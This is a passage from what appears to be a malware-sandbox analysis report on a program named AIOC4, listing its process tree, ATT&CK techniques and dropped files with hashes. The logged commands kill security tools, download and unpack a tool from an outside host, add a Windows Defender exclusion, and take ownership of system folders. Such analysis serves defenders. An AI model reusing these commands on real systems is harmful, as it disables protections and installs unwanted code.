C:\Windows\system32\taskkill.exetaskkill /im "bqpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Cleaner One.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ComputerZService.exe" /f7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C RD /S /Q "C:\ProgramData\J.R.A"6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C MD "C:\ProgramData\J.R.A"6⤵
-
C:\Program Files\AIOC4\aria2\x64\aria2c.exe"C:\Program Files\AIOC4\aria2\x64\aria2c.exe" http://www.qbgxl.com/Tools/NSudoLauncher.7z -s 20 -x 10 -d "C:\Program Files\AIOC4\AIOC_Cache\Tools" -o "NSudoLauncher.7z" --check-certificate=false --async-dns=false --async-dns-server=114.114.114.114,61.160.195.64,8.8.8.86⤵
- Executes dropped EXE
-
C:\Program Files\AIOC4\7-Zip\x64\7z.exe"C:\Program Files\AIOC4\7-Zip\x64\7z.exe" x "C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher.7z" -o"C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher" -aoa6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\x64\NSudoLG.exe"C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\x64\NSudoLG.exe" -U:T -Wait -P:E -ShowWindowMode:Hide REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files\AIOC4\\" /t REG_DWORD /d 0 /f6⤵
- Executes dropped EXE
-
C:\Program Files\AIOC4\7-Zip\x64\7z.exe"C:\Program Files\AIOC4\7-Zip\x64\7z.exe" x "C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher.7z" -o"C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher" -aoa6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C MD "AIOC_Cache\UpdateError\"6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Program Files\AIOC4\AIOC_Cache\1444207646.bat"6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh interface show interface7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C TAKEOWN /F "C:\Windows\system32\drivers\etc" /R /D Y6⤵
-
C:\Windows\system32\takeown.exeTAKEOWN /F "C:\Windows\system32\drivers\etc" /R /D Y7⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "4620698681993443988-1150388379-1705637073-261866941-1921359375-12395034751356897019"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-4108929071267034434-1564179042-1170907077-350792762-1099299484-15379654881974395236"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1668545557-10335576611933243229-16107651571241938861663500660-21355110542110523199"1⤵
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1808014200-1906962486-99600194514016938651094476949-116669220817547529721739166267"1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Registry Run Keys / Startup Folder
1Modify Existing Service
1Scheduled Task
1Hidden Files and Directories
1Defense Evasion
Modify Registry
2Impair Defenses
1File Permissions Modification
1Hidden Files and Directories
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\AIOC4\7-Zip\x64\7z.dllFilesize
1.6MB
MD53c0e5f27997c83592a01feb4c1fc0754
SHA13d7920deb74e340a1ccac024b3f8239eb436c11f
SHA2564d52d2213bb8417737c1824013d5253c8b82174ea69da3f4be5ccfb220bec243
SHA51283e5bc1e152b901497d17b02a26ca2b66ecc26b0029d2323da8665e90405390a67df56af04738d2f05b4d9c13307fa2bfa7ad0c74f2d342f014e8648ab35aedb
-
C:\Program Files\AIOC4\7-Zip\x64\7z.exeFilesize
472KB
MD58fc504a26d59a4459604755ffcafeb4f
SHA1d503ae8d5ad76948858cfff34858c5de5a5b96d6
SHA256447fbf5ac436c7e2a4a90a1e7ce56f1970605e36b2c54daaa0f913701004ed78
SHA512d69fd03a95d27cdb8dba1fcb392a143b3547cdff125e62d5cf135af232041d651263f5105e35e98609669c3d8c65568ff76dfe092c6220c7b3625dd4d84c8817
-
C:\Program Files\AIOC4\7-Zip\x64\7z.exeFilesize
472KB
MD58fc504a26d59a4459604755ffcafeb4f
SHA1d503ae8d5ad76948858cfff34858c5de5a5b96d6
SHA256447fbf5ac436c7e2a4a90a1e7ce56f1970605e36b2c54daaa0f913701004ed78
SHA512d69fd03a95d27cdb8dba1fcb392a143b3547cdff125e62d5cf135af232041d651263f5105e35e98609669c3d8c65568ff76dfe092c6220c7b3625dd4d84c8817
-
C:\Program Files\AIOC4\7-Zip\x64\7z.exeFilesize
472KB
MD58fc504a26d59a4459604755ffcafeb4f
SHA1d503ae8d5ad76948858cfff34858c5de5a5b96d6
SHA256447fbf5ac436c7e2a4a90a1e7ce56f1970605e36b2c54daaa0f913701004ed78
SHA512d69fd03a95d27cdb8dba1fcb392a143b3547cdff125e62d5cf135af232041d651263f5105e35e98609669c3d8c65568ff76dfe092c6220c7b3625dd4d84c8817
-
C:\Program Files\AIOC4\AIOC4.exeFilesize
7.3MB
MD58d22332dfd13fb7b23ee933d5d13680b
SHA140ea83aae67d765159ee98ca68d3679696501d5f
SHA2561c6c70208196f2c6fd8bc1098a3ac98aff2d66cde2bae93358135a91a9421437
SHA512cc1cd719d6c6e06f04868df984fdbba7f5cb1b69315a8d59e804cc6227ce79c1558ad306394e3f118ec87073c273d98711cc63b01275c861879d0258160214fa
-
C:\Program Files\AIOC4\AIOC4.exeFilesize
7.3MB
MD58d22332dfd13fb7b23ee933d5d13680b
SHA140ea83aae67d765159ee98ca68d3679696501d5f
SHA2561c6c70208196f2c6fd8bc1098a3ac98aff2d66cde2bae93358135a91a9421437
SHA512cc1cd719d6c6e06f04868df984fdbba7f5cb1b69315a8d59e804cc6227ce79c1558ad306394e3f118ec87073c273d98711cc63b01275c861879d0258160214fa
-
C:\Program Files\AIOC4\AIOC4.exeFilesize
7.3MB
MD58d22332dfd13fb7b23ee933d5d13680b
SHA140ea83aae67d765159ee98ca68d3679696501d5f
SHA2561c6c70208196f2c6fd8bc1098a3ac98aff2d66cde2bae93358135a91a9421437
SHA512cc1cd719d6c6e06f04868df984fdbba7f5cb1b69315a8d59e804cc6227ce79c1558ad306394e3f118ec87073c273d98711cc63b01275c861879d0258160214fa
-
C:\Program Files\AIOC4\AIOC4.exeFilesize
7.3MB
MD58d22332dfd13fb7b23ee933d5d13680b
SHA140ea83aae67d765159ee98ca68d3679696501d5f
SHA2561c6c70208196f2c6fd8bc1098a3ac98aff2d66cde2bae93358135a91a9421437
SHA512cc1cd719d6c6e06f04868df984fdbba7f5cb1b69315a8d59e804cc6227ce79c1558ad306394e3f118ec87073c273d98711cc63b01275c861879d0258160214fa
-
C:\Program Files\AIOC4\AIOC4.exeFilesize
7.3MB
MD58d22332dfd13fb7b23ee933d5d13680b
SHA140ea83aae67d765159ee98ca68d3679696501d5f
SHA2561c6c70208196f2c6fd8bc1098a3ac98aff2d66cde2bae93358135a91a9421437
SHA512cc1cd719d6c6e06f04868df984fdbba7f5cb1b69315a8d59e804cc6227ce79c1558ad306394e3f118ec87073c273d98711cc63b01275c861879d0258160214fa
-
C:\Program Files\AIOC4\AIOC4.exe.configFilesize
294B
MD5312788103822de83bfcc14977cf85ce2
SHA1ad849ac3d9f865f51233ef91069b195768a72e08
SHA25642bb5911dc77bee5fef62a7557d76f57e03a615900ebc720cd0a8b7573e3fa3b
SHA512dd8140619b7b31b0195671080f3ee4a18197458835fc9c38e3a5f02c15b539ba92dcd978bf0231ed4857e3a0b9215a8df860503099542bf5b0d87821ff0b2558
-
C:\Program Files\AIOC4\AIOC_Cache\Tools\JServer.XMLFilesize
3KB
MD5d2b5064c27616136cfedadb391a27de2
SHA1357f45eda635ef54074d57bda4cb499b6a0f51bc
SHA256249938dd3dad92a65a9e6e1a5103b1d17e82afeb6dc2880273b901e08631e49d
SHA5120433bc503f78eed90f6ce99abba3c9a7e0d7ae83c6c12e122ee1dd0d6636fae8253727e845d9a5ec2da23eb4db85c5a2fc2240c1af010ae71cc00ad29dc132f0
-
C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher.7zFilesize
2.5MB
MD5bf1324d35b37d4c2283ca20351b05aea
SHA1b09912a252b29a2da6d869cfee40aff247b49e8a
SHA256e0eb38802df4fb7d07823337b5c6da941f99b189defc89d35d2df80a5a6d0488
SHA512f1d9169ad65d54bd8297ac294ca6791ea37c9a739e0805c355640bde88acf20f433a142c175908a533ce18bcc2b9bdcb2a14ac472b8e4d0845b1410bae36d380
-
C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\ARM64\NSudo.jsonFilesize
211B
MD5922322fab45a284dbb248760125dfb1c
SHA1120e77b90baa85287b2ee5bc63ff7dcd149767b5
SHA256254beac232a7bb20289b0608db5a0ccc69789fb8befe2bf3c76fa09953eea6f5
SHA512899dc404559518e311343a0a71ef4f88e4820268ff821082400660647259594cb1a088359c75b17f4e0df85ea5ad91e49b3e86f636e95955c2c56f1e667f4aaf
-
C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\ARM64\NSudoLC.pdbFilesize
2.0MB
MD584a46255a1d093ac022be86b316a715b
SHA19bba555d9226c454bf886228bd8d411d4006d1f3
SHA2563c0ce2e72e82110faa6f7ee43d66da1b65ae886754644263cccb4bd1beaffb14
SHA512379bb59da1e0aded1b28535aca3312c5cf61d6a7e969100cf3c889a8b62b3c6cbb359b04c4105a815e9e7f7411494420842c00a8b355abf51b0d59cbcc54652e
-
C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\ARM64\NSudoLG.pdbFilesize
4.0MB
MD5859d1a5661742c998f3bce668de4b594
SHA1673e8dc32a0a13f25431ac82f7b6498ee512552a
SHA256b7e2c43d68b6a849e46305f7313ec161f994c38609750d6a788ee8944e8b1b24
SHA512550268f514dc641101b0f0cd6453a7cbb7076f9fca2e72e7372d42cf5d5eb2bbf773ceae1ae2245021cca00f5f0b25886edafa2fd5bcbd7140e8b6811dd92578
-
C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\NSudo.batFilesize
234B
MD5943b19a7ab8b31c13d6359345389e802
SHA1562ee7a4b7f481fb43b1cf55144de39005dadab4
SHA2561b770ee7c2c58cc069d992cfd13def84c11cf3ed51559f365f4fed829359b54d
SHA512df90f2f716acbccbcdbb64981bf3f8727e34ecb8420c32c3bdc2f69e3e9edaeb31e4f815b95ed0b0ae60a86349fa39b81b6030848862403554bb00fcfde24967
-
C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\x64\NSudo.jsonFilesize
211B
MD5922322fab45a284dbb248760125dfb1c
SHA1120e77b90baa85287b2ee5bc63ff7dcd149767b5
SHA256254beac232a7bb20289b0608db5a0ccc69789fb8befe2bf3c76fa09953eea6f5
SHA512899dc404559518e311343a0a71ef4f88e4820268ff821082400660647259594cb1a088359c75b17f4e0df85ea5ad91e49b3e86f636e95955c2c56f1e667f4aaf
-
C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\x64\NSudoLG.exeFilesize
156KB
MD57aacfd85b8dff0aa6867bede82cfd147
SHA1e783f6d4b754ea8424699203b8831bdc9cbdd4e6
SHA256871e4f28fe39bcad8d295ae46e148be458778c0195ed660b7db18eb595d00bd8
SHA51259cce358c125368dc5735a28960ddb7ee49835ca19f44255a7ae858ddd8a2db68c72c3f6818eca3678d989041043876e339f9fafe1d81d26001286494a8014f0
-
C:\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\x64\NSudoLG.exeFilesize
156KB
MD57aacfd85b8dff0aa6867bede82cfd147
SHA1e783f6d4b754ea8424699203b8831bdc9cbdd4e6
SHA256871e4f28fe39bcad8d295ae46e148be458778c0195ed660b7db18eb595d00bd8
SHA51259cce358c125368dc5735a28960ddb7ee49835ca19f44255a7ae858ddd8a2db68c72c3f6818eca3678d989041043876e339f9fafe1d81d26001286494a8014f0
-
C:\Program Files\AIOC4\CSkin.dllFilesize
2.6MB
MD564788240f6be72aa31ee2ec5fd511bd0
SHA1c762fc8df14fc668de1954f80c5d5865b2a4ed8f
SHA256bd4c6bf0564d0df979fdd370dfefb7f0038a041c05f1a4185ba60b8c1554e351
SHA512421b71001f28f2ba134ab38ac8b0d84d4e8bba468c122691b69bfd795121bfc64a61f8b22768c44b8d7f88c26c86af7261adbd8c077e16ed808f1690b3b546b3
-
C:\Program Files\AIOC4\DemoControls.dllFilesize
38KB
MD5676aaa728ea0244ac1db9485063b0a55
SHA14aca0bace946103ee5a7f0be4b6d81a5132ed213
SHA256a0e9c2c3f1ddc3c849b793e2a0f4c241ba36613e891533d34ab98f13cd0692e4
SHA51217e5e21f10c982438b3909a3f0ffeb532e5f9b134439bcfc8e4f33ab2f7b11349d6dc1afe8256e338f39e3034a51f7029dc9f46fb2c0a4320994602e10b2103b
-
C:\Program Files\AIOC4\Language\801A048D8E177F0C7D7B71C4336E985F\zh-CN.iniFilesize
23KB
MD543bfcf915e323fe9d566d21c16bb6b44
SHA1ad4838c856cc273fe60e5318812fe8ba95b28ddf
SHA256c931cbca45d0afc47b4974ca146cb9f58ac1f26b71ec706940c2c7962dc1edc8
SHA5121ea3b3e9b96089388e0b5ab04ee68fa365367801a4c4b20c7bf4e54449d90aa267a9d80e079d2ae3c4a5b5564bb9e978c6bbe4bf7223dc4571668b29afdb0ebb
-
C:\Program Files\AIOC4\MetroFramework.dllFilesize
345KB
MD534ea7f7d66563f724318e322ff08f4db
SHA1d0aa8038a92eb43def2fffbbf4114b02636117c5
SHA256c2c12d31b4844e29de31594fc9632a372a553631de0a0a04c8af91668e37cf49
SHA512dceb1f9435b9479f6aea9b0644ba8c46338a7f458c313822a9d9b3266d79af395b9b2797ed3217c7048db8b22955ec6fe8b0b1778077fa1de587123ad9e6b148
-
C:\Program Files\AIOC4\Newtonsoft.Json.dllFilesize
528KB
MD58f6875148b45c300b95514cb40703c2e
SHA10015b8e21d84e0f6f174cf71b63651bad94582df
SHA256ea7fd75e2bb069699d4da09f3601d70ca8e401f58949178cdbf2c5928720daa1
SHA512e0670c00e0c5cb0e0e1c691f053a53de121e1771cffb17b2d08b8cc3f0498bdde3c6efe1419fd74103952a327c26bb6f29e5f817965873f8391ee8b8be80a6fb
-
C:\Program Files\AIOC4\PrimaryScreen.exeFilesize
6KB
MD59804bfc5506b540fda28bef7eed0d872
SHA106fad96feb4df2c22b0708afaafd26c22e2ea0a0
SHA2568ceb687387487842db526c503335c6a3be23106c771eaae3bbfa834581b4b217
SHA512a6b44a7a0e3757411ff9bdacf4243167232d1aae18519dc99869dac5345df3c5d67f12d58ae6870de2c4b4c4ae7942fba4c0118bbb5b5e7abccd0fff7b6e884d
-
C:\Program Files\AIOC4\PrimaryScreen.exeFilesize
6KB
MD59804bfc5506b540fda28bef7eed0d872
SHA106fad96feb4df2c22b0708afaafd26c22e2ea0a0
SHA2568ceb687387487842db526c503335c6a3be23106c771eaae3bbfa834581b4b217
SHA512a6b44a7a0e3757411ff9bdacf4243167232d1aae18519dc99869dac5345df3c5d67f12d58ae6870de2c4b4c4ae7942fba4c0118bbb5b5e7abccd0fff7b6e884d
-
C:\Program Files\AIOC4\PrimaryScreen.exeFilesize
6KB
MD59804bfc5506b540fda28bef7eed0d872
SHA106fad96feb4df2c22b0708afaafd26c22e2ea0a0
SHA2568ceb687387487842db526c503335c6a3be23106c771eaae3bbfa834581b4b217
SHA512a6b44a7a0e3757411ff9bdacf4243167232d1aae18519dc99869dac5345df3c5d67f12d58ae6870de2c4b4c4ae7942fba4c0118bbb5b5e7abccd0fff7b6e884d
-
C:\Program Files\AIOC4\PrimaryScreen.exeFilesize
6KB
MD59804bfc5506b540fda28bef7eed0d872
SHA106fad96feb4df2c22b0708afaafd26c22e2ea0a0
SHA2568ceb687387487842db526c503335c6a3be23106c771eaae3bbfa834581b4b217
SHA512a6b44a7a0e3757411ff9bdacf4243167232d1aae18519dc99869dac5345df3c5d67f12d58ae6870de2c4b4c4ae7942fba4c0118bbb5b5e7abccd0fff7b6e884d
-
C:\Program Files\AIOC4\StartNetApp.exeFilesize
513KB
MD5b8898b34fd4a62c12bd9828e22ac3e1d
SHA16ceea0d3619fec5eedb8fa8ecfe37cc5defc87a8
SHA2569cbe39bc416069bf5f46a9c9be411f887eea4cb691199e217a6a025dd798b2b3
SHA51291cfe842b660e54b63387485b882e00d617c5ca1d7cbff107fa6db9f7b898e85c5148d7a0355b5061adc21d0c17df2e3e4b2e99c721c63e322a7abcc0768c494
-
C:\Program Files\AIOC4\StartNetApp.exeFilesize
513KB
MD5b8898b34fd4a62c12bd9828e22ac3e1d
SHA16ceea0d3619fec5eedb8fa8ecfe37cc5defc87a8
SHA2569cbe39bc416069bf5f46a9c9be411f887eea4cb691199e217a6a025dd798b2b3
SHA51291cfe842b660e54b63387485b882e00d617c5ca1d7cbff107fa6db9f7b898e85c5148d7a0355b5061adc21d0c17df2e3e4b2e99c721c63e322a7abcc0768c494
-
C:\Program Files\AIOC4\aria2\x64\aria2c.exeFilesize
4.9MB
MD5c5e143b5f381ac849e7a1b59a6dcbfa0
SHA112367ba9905921509f01b8b944af012011cc95b6
SHA256b151764ecbb164f25f8aeca3b93e0a18b63d108bbb1f33982fe4eea46b8ecab9
SHA512d7040e8e18bf200d8f6ac5bb653b4329cb2a38d8a96e6b0ca17b6e3f0a35bd68b32f32925fe6731b195a797f275607448a06594f0f2424b8b48fca3dfa144bfa
-
C:\Program Files\AIOC4\aria2\x64\aria2c.exeFilesize
4.9MB
MD5c5e143b5f381ac849e7a1b59a6dcbfa0
SHA112367ba9905921509f01b8b944af012011cc95b6
SHA256b151764ecbb164f25f8aeca3b93e0a18b63d108bbb1f33982fe4eea46b8ecab9
SHA512d7040e8e18bf200d8f6ac5bb653b4329cb2a38d8a96e6b0ca17b6e3f0a35bd68b32f32925fe6731b195a797f275607448a06594f0f2424b8b48fca3dfa144bfa
-
C:\Program Files\AIOC4\killav.batFilesize
448B
MD5991b60b36849d825526f52f91103f85c
SHA1600552d2079d5e3de59e0efadfe0ac5410097a18
SHA25632eec7b1af575c602ebedbe257be2525ac6a4b071a7a6f893d82ae1febb37a63
SHA5121cdeef69fcaf66c71162ea3f7d3769fc15f0e0af48907b6f9fa913ef2175e1f4fb1ff816f7eb22a9c5f2d12e4bfcaec0cd9b888133b37e2b29233f5d96ade84a
-
C:\Program Files\AIOC4\s_a.exeFilesize
132KB
MD5f9424f1dd434a16011c5e59e7f345721
SHA101798ca075c3259c3c4f151f271931db6954be22
SHA2560fa181eca290a782dca587d91425ffe58f8d9ac83741998b6946b7ef5554dd99
SHA51281155925cc3fee6f07b695049654cd6b2151264f3404eb3b10a87cdfac6c23323f36700e5e8fb9406d5bf7b36be072d0ab2218670d8a29b850f379612829d3f4
-
C:\Program Files\AIOC4\srv.txtFilesize
208B
MD5fe12e4d7d57f3a2855015f0f0e841843
SHA176515b96e69f883b7c0f9cb9fb4677ba82e8d87c
SHA256fd84145774eb176e559521f72866f695df4e44896de9e714695ef060207fa4dd
SHA5127dedb8311b1d5317bcb6e1bf125105d5288585f8aa172061d94cbcb45ca6973898f4dcde60576754d449bae2e48f6027f05252f7be462fee951e0ce0dd2c817e
-
C:\Program Files\AIOC4\task.txtFilesize
774B
MD561a3af987f362999aa26489643a84ca7
SHA1471471d22c67aba8a616ba5ceae653a16b96281d
SHA256cfcf56009f58bfae8c164266639811a77a9d4da10e53c654d329a5f23f9798fa
SHA512dccb3ad7aae64317ed00e4d5223e862fce0033c7da771762e7af6e1e0f5df40b2943658b65a8e087a23a309b79a9e9b3c0c2091d11a0b645334aafc60ec18c3e
-
C:\ProgramData\0.batFilesize
696B
MD518dc2f263efec1a4914a099c3b4fe231
SHA1db9c6c9fc9d698e8a4b26a3cacdd225520b633e0
SHA256e1af622e4ce234631053744c8e0a64ed26ee595594b21c970f4cdf40471f6d0d
SHA51213bed2398ce8775768477f34c2fcc6de1a3d16e4aa7277307a024caeb66b52564f85e8ec483842bcf6d840a17566ae2fdca89bf4f83dc3b55d7028aabd2f032a
-
C:\ProgramData\Microsoft\s_a.exeFilesize
132KB
MD5f9424f1dd434a16011c5e59e7f345721
SHA101798ca075c3259c3c4f151f271931db6954be22
SHA2560fa181eca290a782dca587d91425ffe58f8d9ac83741998b6946b7ef5554dd99
SHA51281155925cc3fee6f07b695049654cd6b2151264f3404eb3b10a87cdfac6c23323f36700e5e8fb9406d5bf7b36be072d0ab2218670d8a29b850f379612829d3f4
-
C:\ProgramData\Microsoft\s_a.exeFilesize
132KB
MD5f9424f1dd434a16011c5e59e7f345721
SHA101798ca075c3259c3c4f151f271931db6954be22
SHA2560fa181eca290a782dca587d91425ffe58f8d9ac83741998b6946b7ef5554dd99
SHA51281155925cc3fee6f07b695049654cd6b2151264f3404eb3b10a87cdfac6c23323f36700e5e8fb9406d5bf7b36be072d0ab2218670d8a29b850f379612829d3f4
-
C:\ProgramData\s_a.exeFilesize
132KB
MD5f9424f1dd434a16011c5e59e7f345721
SHA101798ca075c3259c3c4f151f271931db6954be22
SHA2560fa181eca290a782dca587d91425ffe58f8d9ac83741998b6946b7ef5554dd99
SHA51281155925cc3fee6f07b695049654cd6b2151264f3404eb3b10a87cdfac6c23323f36700e5e8fb9406d5bf7b36be072d0ab2218670d8a29b850f379612829d3f4
-
C:\ProgramData\s_a.exeFilesize
132KB
MD5f9424f1dd434a16011c5e59e7f345721
SHA101798ca075c3259c3c4f151f271931db6954be22
SHA2560fa181eca290a782dca587d91425ffe58f8d9ac83741998b6946b7ef5554dd99
SHA51281155925cc3fee6f07b695049654cd6b2151264f3404eb3b10a87cdfac6c23323f36700e5e8fb9406d5bf7b36be072d0ab2218670d8a29b850f379612829d3f4
-
C:\Users\Admin\Desktop\AIOC4.lnkFilesize
1KB
MD57d69d35fe53fc6d12b31da79bbe7ca73
SHA1897c59b66c0fb99c1f25ddbe614a35f9e860f358
SHA2568d1c849d04c6059af797672cb9103caf3b00845ff318a831abc4dea1685c09d0
SHA51221eeb93e218e18c1516f94b808c5b62a5595c1e60c31563a2389d944ef98ed8431a992591e902e47738768b2a3f895d3e07cf0e2bc2358f8a690ea920d249849
-
\??\PIPE\browserMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\PIPE\lsarpcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\PIPE\lsarpcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Program Files\AIOC4\7-Zip\x64\7z.dllFilesize
1.6MB
MD53c0e5f27997c83592a01feb4c1fc0754
SHA13d7920deb74e340a1ccac024b3f8239eb436c11f
SHA2564d52d2213bb8417737c1824013d5253c8b82174ea69da3f4be5ccfb220bec243
SHA51283e5bc1e152b901497d17b02a26ca2b66ecc26b0029d2323da8665e90405390a67df56af04738d2f05b4d9c13307fa2bfa7ad0c74f2d342f014e8648ab35aedb
-
\Program Files\AIOC4\7-Zip\x64\7z.dllFilesize
1.6MB
MD53c0e5f27997c83592a01feb4c1fc0754
SHA13d7920deb74e340a1ccac024b3f8239eb436c11f
SHA2564d52d2213bb8417737c1824013d5253c8b82174ea69da3f4be5ccfb220bec243
SHA51283e5bc1e152b901497d17b02a26ca2b66ecc26b0029d2323da8665e90405390a67df56af04738d2f05b4d9c13307fa2bfa7ad0c74f2d342f014e8648ab35aedb
-
\Program Files\AIOC4\7-Zip\x64\7z.exeFilesize
472KB
MD58fc504a26d59a4459604755ffcafeb4f
SHA1d503ae8d5ad76948858cfff34858c5de5a5b96d6
SHA256447fbf5ac436c7e2a4a90a1e7ce56f1970605e36b2c54daaa0f913701004ed78
SHA512d69fd03a95d27cdb8dba1fcb392a143b3547cdff125e62d5cf135af232041d651263f5105e35e98609669c3d8c65568ff76dfe092c6220c7b3625dd4d84c8817
-
\Program Files\AIOC4\7-Zip\x64\7z.exeFilesize
472KB
MD58fc504a26d59a4459604755ffcafeb4f
SHA1d503ae8d5ad76948858cfff34858c5de5a5b96d6
SHA256447fbf5ac436c7e2a4a90a1e7ce56f1970605e36b2c54daaa0f913701004ed78
SHA512d69fd03a95d27cdb8dba1fcb392a143b3547cdff125e62d5cf135af232041d651263f5105e35e98609669c3d8c65568ff76dfe092c6220c7b3625dd4d84c8817
-
\Program Files\AIOC4\7-Zip\x64\7z.exeFilesize
472KB
MD58fc504a26d59a4459604755ffcafeb4f
SHA1d503ae8d5ad76948858cfff34858c5de5a5b96d6
SHA256447fbf5ac436c7e2a4a90a1e7ce56f1970605e36b2c54daaa0f913701004ed78
SHA512d69fd03a95d27cdb8dba1fcb392a143b3547cdff125e62d5cf135af232041d651263f5105e35e98609669c3d8c65568ff76dfe092c6220c7b3625dd4d84c8817
-
\Program Files\AIOC4\7-Zip\x64\7z.exeFilesize
472KB
MD58fc504a26d59a4459604755ffcafeb4f
SHA1d503ae8d5ad76948858cfff34858c5de5a5b96d6
SHA256447fbf5ac436c7e2a4a90a1e7ce56f1970605e36b2c54daaa0f913701004ed78
SHA512d69fd03a95d27cdb8dba1fcb392a143b3547cdff125e62d5cf135af232041d651263f5105e35e98609669c3d8c65568ff76dfe092c6220c7b3625dd4d84c8817
-
\Program Files\AIOC4\7-Zip\x64\7z.exeFilesize
472KB
MD58fc504a26d59a4459604755ffcafeb4f
SHA1d503ae8d5ad76948858cfff34858c5de5a5b96d6
SHA256447fbf5ac436c7e2a4a90a1e7ce56f1970605e36b2c54daaa0f913701004ed78
SHA512d69fd03a95d27cdb8dba1fcb392a143b3547cdff125e62d5cf135af232041d651263f5105e35e98609669c3d8c65568ff76dfe092c6220c7b3625dd4d84c8817
-
\Program Files\AIOC4\AIOC4.exeFilesize
7.3MB
MD58d22332dfd13fb7b23ee933d5d13680b
SHA140ea83aae67d765159ee98ca68d3679696501d5f
SHA2561c6c70208196f2c6fd8bc1098a3ac98aff2d66cde2bae93358135a91a9421437
SHA512cc1cd719d6c6e06f04868df984fdbba7f5cb1b69315a8d59e804cc6227ce79c1558ad306394e3f118ec87073c273d98711cc63b01275c861879d0258160214fa
-
\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\x64\NSudoLG.exeFilesize
156KB
MD57aacfd85b8dff0aa6867bede82cfd147
SHA1e783f6d4b754ea8424699203b8831bdc9cbdd4e6
SHA256871e4f28fe39bcad8d295ae46e148be458778c0195ed660b7db18eb595d00bd8
SHA51259cce358c125368dc5735a28960ddb7ee49835ca19f44255a7ae858ddd8a2db68c72c3f6818eca3678d989041043876e339f9fafe1d81d26001286494a8014f0
-
\Program Files\AIOC4\AIOC_Cache\Tools\NSudoLauncher\x64\NSudoLG.exeFilesize
156KB
MD57aacfd85b8dff0aa6867bede82cfd147
SHA1e783f6d4b754ea8424699203b8831bdc9cbdd4e6
SHA256871e4f28fe39bcad8d295ae46e148be458778c0195ed660b7db18eb595d00bd8
SHA51259cce358c125368dc5735a28960ddb7ee49835ca19f44255a7ae858ddd8a2db68c72c3f6818eca3678d989041043876e339f9fafe1d81d26001286494a8014f0
-
\Program Files\AIOC4\StartNetApp.exeFilesize
513KB
MD5b8898b34fd4a62c12bd9828e22ac3e1d
SHA16ceea0d3619fec5eedb8fa8ecfe37cc5defc87a8
SHA2569cbe39bc416069bf5f46a9c9be411f887eea4cb691199e217a6a025dd798b2b3
SHA51291cfe842b660e54b63387485b882e00d617c5ca1d7cbff107fa6db9f7b898e85c5148d7a0355b5061adc21d0c17df2e3e4b2e99c721c63e322a7abcc0768c494
-
\Program Files\AIOC4\StartNetApp.exeFilesize
513KB
MD5b8898b34fd4a62c12bd9828e22ac3e1d
SHA16ceea0d3619fec5eedb8fa8ecfe37cc5defc87a8
SHA2569cbe39bc416069bf5f46a9c9be411f887eea4cb691199e217a6a025dd798b2b3
SHA51291cfe842b660e54b63387485b882e00d617c5ca1d7cbff107fa6db9f7b898e85c5148d7a0355b5061adc21d0c17df2e3e4b2e99c721c63e322a7abcc0768c494
-
\Program Files\AIOC4\StartNetApp.exeFilesize
513KB
MD5b8898b34fd4a62c12bd9828e22ac3e1d
SHA16ceea0d3619fec5eedb8fa8ecfe37cc5defc87a8
